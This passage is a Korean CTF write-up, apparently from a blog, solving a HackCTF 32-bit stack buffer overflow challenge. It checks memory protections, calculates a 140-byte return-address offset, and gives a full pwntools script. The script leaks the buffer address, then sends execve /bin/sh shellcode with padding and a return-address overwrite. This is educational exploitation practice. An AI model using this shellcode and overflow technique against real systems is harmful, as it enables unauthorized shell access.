문제를 다운로드 해보면 

 

 

위의 화면처럼 입력받은 문자를 출력을 해주는데...

y를 입력하면 한번더 실행을 하고 n을 입력하면 바로 종료된다.

 

자세한건 IDA로 확인을 해보았다.

 

 

코드를 보면 s를 통해서 입력을 받고 있다. 

그래서 s를 이용하면 뭔가 해결책을 찾을 수 있을것 같다.

 

그러기전에 메모리 보호가 적용되었는지 확인해 보았다.

 

 

메모리 보호가 적용이 되어있지는 않다. 

그 말은 쉘코드를 집어넣고 ret overwrite가 가능하다는 이야기가 된다.

그러면 쉘코드를 작성하기 전에 한번 코드를 살펴 보자. 

 

 

s함수는 0x88만큼 할당이 되어있다. 

그러면 0x88이 ret의 시작주소 까지의 거리가 되는데 0x88은 136이된다.

ret의 끝주소 까지 하게되면 32bit는 4byte씩 쌓이니까 140만큼의 거리가 나온다.

 

출력되는 버퍼의 주소는 알 수 있지만 버퍼의 시작주소를 알 수 없다. 

그래서 Payload를 두번에 나눠서 작성을 해야 된다. 

 

from pwn import*

p = remote("ctf.j0n9hyun.xyz",3006)

p.recvuntil('Data : ')
p.sendline("AAAA")
buf_addr = int(p.recv(10),16)

p.recvuntil('Again(y/n):')
p.sendline("y")
p.recvuntil('Data : ')

payload = "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"
payload +='a'*114
payload +=p32(buf_addr)

p.sendline(payload)
p.interactive()

 

위와 같이 작성을 해보았다. 

맨 처음에 한번 인자를 보내서 해당 버퍼의 시작주소를 알아낸 다음, 

26byte 쉘코드를 사용하였고 , 그래서 140 - 26 = 114의 크기 많큼 dummy(쓰레기값)을 넣어주었다.

 

실행해보면? 

 

 

flag를 확인 할 수 있다.

 

 

성공

'CTF' 카테고리의 다른 글

Hack CTF - simple_size_bof  (0) 2021.09.28
Hack CTF x64 Buffer Overflow  (0) 2021.09.25
Hack CTF - 내 버퍼가 흘러넘친다  (0) 2021.09.25
Pwnable.kr 1 - fd  (0) 2021.09.24
Hack CTF Basic_FSB  (0) 2021.09.23

+ Recent posts